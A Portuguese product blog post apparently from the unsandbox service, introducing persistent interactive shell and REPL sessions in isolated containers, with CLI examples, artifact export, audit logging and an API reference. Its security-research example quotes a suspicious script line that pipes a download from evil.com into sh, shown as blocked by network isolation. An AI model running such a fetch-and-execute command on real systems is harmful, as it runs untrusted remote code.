Console Playground
Blog

Sessões Remotas: Shells Interativos e REPLs na Nuvem

No nosso post anterior, mostramos como teleportar arquivos para dentro de sandboxes. Mas e quanto a obter dados de fora? E se você precisar de mais do que uma execução única - e se você precisar de uma sessão interativa real?

Hoje estamos apresentando Sessões Remotas - shells interativos persistentes que rodam dentro de contêineres unsandbox. Pense em SSH para uma VM na nuvem, mas efêmero, isolado e com auditoria integrada.

A Evolução: De Execute para Session

Nossa API original era simples: envie código, receba saída.

POST /execute → { stdout, stderr, exit_code }

Isso funciona muito bem para automação, mas desenvolvedores queriam mais:

  • “Posso explorar interativamente?”
  • “Posso instalar pacotes durante a sessão?”
  • “Posso usar vim para editar arquivos?”
  • “Posso ter um REPL Python em vez de bash?”
  • “Posso exportar arquivos que criei?”

A resposta para todas essas perguntas agora é sim.

Teleportação Funciona nas Duas Direções

Lembra da teleportação de arquivos? Arquivos vão para dentro de sandboxes via /tmp/input/. Agora eles podem sair para fora via /tmp/artifacts/.

┌─────────────────────────────────────────────────────────────────┐
│                        Sua Máquina                               │
└─────────────────────────────────────────────────────────────────┘
          │                                       ▲
          │ un session                            │ Artifacts
          │ un script.py -f data.csv              │ (ao sair)
          ▼                                       │
┌─────────────────────────────────────────────────────────────────┐
│                     unsandbox Container                          │
│                                                                  │
│   /tmp/input/          Seu Código          /tmp/artifacts/      │
│   ├─ data.csv    ───►  Processos     ───►   ├─ results.csv      │
│   └─ config.json       Arquivos             ├─ model.pkl        │
│                                             └─ report.pdf       │
└─────────────────────────────────────────────────────────────────┘

Teleportação bidirecional:

  1. Entrada - Arquivos que você envia chegam em /tmp/input/
  2. Saída - Arquivos que você cria em /tmp/artifacts/ voltam para você

O CLI un: Seu Portal para Sandboxes Remotos

Construímos um CLI nativo que faz a execução remota parecer local:

Execute um Script

# Execute um script Python
un script.py

# Com arquivos de entrada (teleportados para dentro)
un -f data.csv -f config.json process.py

# Receba artefatos compilados de volta
un -a -o ./bin main.c

A flag -a diz ao unsandbox para coletar tudo que você colocar em /tmp/artifacts/ e enviar de volta. Perfeito para:

  • Binários compilados de C/Rust/Go
  • Relatórios gerados (PDF, CSV)
  • Modelos ML treinados
  • Imagens processadas

Sessões Interativas

# Inicie uma sessão bash interativa
un session

# Escolha seu shell
un session --shell zsh
un session --shell fish

# Ou pule direto para um REPL
un session --shell python3
un session --shell node
un session --shell julia

O que você obtém:

  • PTY completo com cores e posicionamento de cursor
  • Completação com Tab
  • Histórico (setas funcionam)
  • Suporte a redimensionamento (vim/nano simplesmente funcionam)
  • tmux por baixo (sessões persistem através de desconexões)

Shells e REPLs Disponíveis

Suportamos mais de 30 shells e REPLs:

Shells Tradicionais:

bash, dash, sh, zsh, fish, ksh, tcsh, csh, elvish, xonsh, ash

REPLs de Linguagens:

python3, bpython, ipython     # Python
node                          # JavaScript
ruby, irb                     # Ruby
lua                           # Lua
php                           # PHP
perl                          # Perl
guile, scheme                 # Scheme
ghci                          # Haskell
erl, iex                      # Erlang/Elixir
sbcl, clisp                   # Common Lisp
r                             # R
julia                         # Julia
clojure                       # Clojure

Exemplo: REPL Python na nuvem

$ un session --shell python3
Connecting to unsandbox... done
>>> import numpy as np
>>> np.random.seed(42)
>>> np.random.randn(3, 3)
array([[ 0.49671415, -0.1382643 ,  0.64768854],
       [ 1.52302986, -0.23415337, -0.23413696],
       [ 1.57921282,  0.76743473, -0.46947439]])
>>> exit()
Session ended.

Persistência de Sessão: Sua Escolha

Por padrão, sessões são efêmeras - quando você desconecta, o contêiner é imediatamente destruído. Esta é a opção mais segura: saída limpa, sem recursos órfãos.

Mas às vezes você precisa de persistência. Use --tmux ou --screen para habilitar suporte a reconexão:

# Padrão: sessão termina ao desconectar (saída limpa)
$ un session
root@unsb-vm-12345:~$ exit
Session ended.

# Com --tmux: sessão persiste, pode reconectar depois
$ un session --tmux
root@unsb-vm-12345:~$ # Pressione Ctrl+b depois d para desanexar
Session detached. Reconnect with: un session --attach unsb-vm-12345

Comparação de Comportamento de Sessão

Modo Ao Desconectar Ao Sair Caso de Uso
Padrão Contêiner destruído Contêiner destruído Tarefas rápidas, lousa limpa
--tmux Sessão persiste Contêiner destruído Trabalho de longa duração, similar a SSH
--screen Sessão persiste Contêiner destruído Alternativa ao tmux

Gerenciando Sessões Persistentes

# Liste todas as suas sessões ativas
$ un session --list
Active sessions: 2

SESSION ID                               CONTAINER            SHELL      TTL      STATUS
abc123...                                unsb-vm-56789        bash       58m30s   active
def456...                                unsb-vm-56790        python3    45m12s   active

# Reconecte pelo nome do contêiner (mais fácil de lembrar)
$ un session --attach unsb-vm-56789
Reconnecting to session abc123... done
root@unsb-vm-56789:~$ echo "ainda aqui!"
ainda aqui!

# Ou termine uma sessão remotamente
$ un session --kill unsb-vm-56789
Terminating session abc123... done
Session terminated successfully

Desanexando do tmux/screen:

  • tmux: Pressione Ctrl+b depois d
  • screen: Pressione Ctrl+a depois d

Importante: Se você está rodando un dentro de uma sessão tmux local, use --screen em vez disso para evitar conflitos de atalhos de teclado.

Extração de Artefatos: Obtenha Seus Dados

Tudo que você colocar em /tmp/artifacts/ é coletado quando a sessão termina:

$ un session -a -o ./outputs
Connecting to unsandbox... done
root@sandbox:~$ python3 -c "
import json
with open('/tmp/artifacts/results.json', 'w') as f:
    json.dump({'answer': 42}, f)
"
root@sandbox:~$ echo "hello" > /tmp/artifacts/notes.txt
root@sandbox:~$ exit
Session ended.
Artifact saved: results-sandbox-abc123.json (16 bytes)
Artifact saved: notes-sandbox-abc123.txt (6 bytes)

Recursos de artefatos:

  • Coletados automaticamente ao final da sessão
  • Pós-fixados com nome do contêiner (sem sobreposição entre sessões)
  • Funciona com arquivos binários (imagens, binários, arquivos)
  • Arquivos vazios suportados (para arquivos de flag)

Auditoria: Grave Tudo

Para conformidade, depuração ou apenas curiosidade, habilite gravação completa de sessão:

$ un session --audit -o ./logs
Connecting to unsandbox... done
root@sandbox:~$ vim test.py   # Sessão vim completa gravada
root@sandbox:~$ python3 test.py
Hello, world!
root@sandbox:~$ exit
Session ended.
Artifact saved: session.log-sandbox-abc123.gz (45678 bytes)
Artifact saved: bash_history-sandbox-abc123 (234 bytes)
Tip: Replay session with: zcat session.log*.gz | less -R

O que é gravado:

Modo O Que É Capturado Tamanho
--audit na criação I/O completo do terminal (cada tecla, cada saída) ~1-5MB/sessão
--audit ao terminar Apenas bash_history (somente comandos) ~1KB
Ambos Tudo Ambos os arquivos

O session.log contém:

  • Todos os caracteres enviados ao terminal (incluindo códigos de escape)
  • Sessões vim/nano completas com movimentos de cursor
  • Saída interativa Python/Node
  • Cores, formatação, tudo

Reproduzir com:

# Visualize a gravação
zcat session.log-sandbox-abc123.gz | less -R

# Ou use scriptreplay para reprodução em tempo real (se o timing foi capturado)
scriptreplay -t timing.log -s session.log

Segurança: Mesmo Modelo Zero-Trust

Sessões mantêm todas as nossas garantias de segurança:

Isolamento de rede:

root@sandbox:~$ curl google.com
curl: (6) Could not resolve host: google.com
root@sandbox:~$ ping 8.8.8.8
ping: connect: Network is unreachable

A menos que você solicite explicitamente acesso à rede:

un session -n semitrusted   # Habilita rede de saída

Efêmero por design:

  • Contêiner destruído ao exit
  • Sem persistência entre sessões
  • Cada sessão é completamente isolada

Limites de recursos:

  • Memória: Limitada por contêiner
  • CPU: Agendamento de compartilhamento justo
  • Disco: tmpfs com limites de tamanho
  • Tempo: Auto-limpeza após timeout de inatividade

Referência da API

Criar uma Sessão

POST /sessions
{
  "network_mode": "zerotrust",  # ou "semitrusted"
  "ttl": 3600,                  # segundos (max 86400)
  "shell": "bash",              # veja lista suportada
  "audit": true,                # habilitar gravação de sessão
  "multiplexer": "tmux"         # ou "screen", ou omitir para nenhum
}

Response:
{
  "session_id": "abc123...",
  "container_name": "unsb-vm-12345",
  "multiplexer": "tmux",
  "websocket_url": "/sessions/abc123/shell"
}

Comportamento do multiplexer:

  • Omitido/null: Sessão termina imediatamente ao desconectar WebSocket
  • “tmux”: Sessão persiste via tmux, reconecte com mesmo endpoint WebSocket
  • “screen”: Sessão persiste via GNU screen, reconecte com mesmo endpoint WebSocket

Conectar via WebSocket

WSS /sessions/:id/shell

Binary frames → stdin
Binary frames ← stdout
JSON frames ← control (ready, exit, error)

Terminar e Obter Artefatos

DELETE /sessions/:id?audit=1

Response:
{
  "success": true,
  "artifacts": [
    {"filename": "results.json", "content_base64": "..."},
    {"filename": "session.log.gz", "content_base64": "..."}
  ]
}

Casos de Uso do Mundo Real

1. Sessões de Codificação de Agentes IA

Dê ao seu agente IA um ambiente persistente:

# Agente cria sessão
session = unsandbox.create_session(shell="python3")

# Agente trabalha interativamente
session.send("import pandas as pd\n")
session.send("df = pd.read_csv('/tmp/input/data.csv')\n")
session.send("df.to_csv('/tmp/artifacts/processed.csv')\n")

# Obtenha resultados
artifacts = session.terminate(audit=True)
# → processed.csv + session.log.gz para revisão

2. Ambiente de Desenvolvimento Remoto

Precisa de um ambiente limpo para testes?

# Inicie sessão com rede para instalação de pacotes
un session -n semitrusted --shell bash

# Instale o que você precisa
root@sandbox:~$ pip install pytorch transformers
root@sandbox:~$ npm install -g typescript

# Faça seu trabalho
root@sandbox:~$ python train.py
root@sandbox:~$ cp model.pt /tmp/artifacts/

# Saia e obtenha seu modelo
root@sandbox:~$ exit
Artifact saved: model-sandbox-xyz.pt (150MB)

3. Pesquisa de Segurança

Analise scripts suspeitos com segurança:

un session --audit -o ./analysis
root@sandbox:~$ cat /tmp/input/suspicious.sh
#!/bin/bash
curl http://evil.com/payload | sh  # Não pode alcançar evil.com!

root@sandbox:~$ bash /tmp/input/suspicious.sh
curl: (6) Could not resolve host: evil.com

root@sandbox:~$ exit
# Sessão completa gravada para análise

4. Ensino e Tutoriais

Estudantes obtêm seus próprios ambientes isolados:

# Estudante executa
un session --shell python3

>>> # Siga o tutorial
>>> import matplotlib.pyplot as plt
>>> plt.plot([1, 2, 3], [1, 4, 9])
>>> plt.savefig('/tmp/artifacts/plot.png')
>>> exit()

# Estudante obtém seu gráfico
Artifact saved: plot-sandbox-xyz.png (12KB)

Referência Rápida do CLI

# Executar scripts
un script.py                       # Executar script Python
un -e DEBUG=1 script.py            # Com variável de ambiente
un -f data.csv process.py          # Com arquivo de entrada
un -a -o ./bin main.c              # Salvar artefatos compilados

# Sessões interativas
un session                         # Shell bash (termina ao desconectar)
un session --tmux                  # Bash com tmux (pode reconectar)
un session --screen                # Bash com screen (pode reconectar)
un session --shell python3         # REPL Python
un session --shell node --tmux     # REPL Node.js com reconexão
un session -n semitrusted          # Sessão com acesso à rede

# Gerenciamento de sessão
un session --list                  # Listar sessões ativas
un session --attach unsb-vm-12345  # Reconectar pelo nome do contêiner
un session --kill unsb-vm-12345    # Terminar uma sessão

# Auditoria e artefatos
un session --audit -o ./logs       # Gravar sessão para auditoria
un session -a -o ./out             # Salvar /tmp/artifacts/ para ./out

O Que Vem a Seguir?

Estamos trabalhando em:

  • Session sharing - Múltiplos usuários na mesma sessão
  • Persistent storage - Montagens de volume opcionais
  • GPU access - Contêineres habilitados para CUDA
  • Custom images - Traga seu próprio contêiner

Experimente Agora

  1. Obtenha o CLI:

    # Baixe dos lançamentos ou compile do código-fonte
    curl -L https://unsandbox.com/cli/un -o un
    chmod +x un
  2. Configure sua chave API:

    export UNSANDBOX_API_KEY=your_key_here
  3. Inicie uma sessão:

    un session --shell python3

Bem-vindo ao seu sandbox na nuvem. O que você vai construir?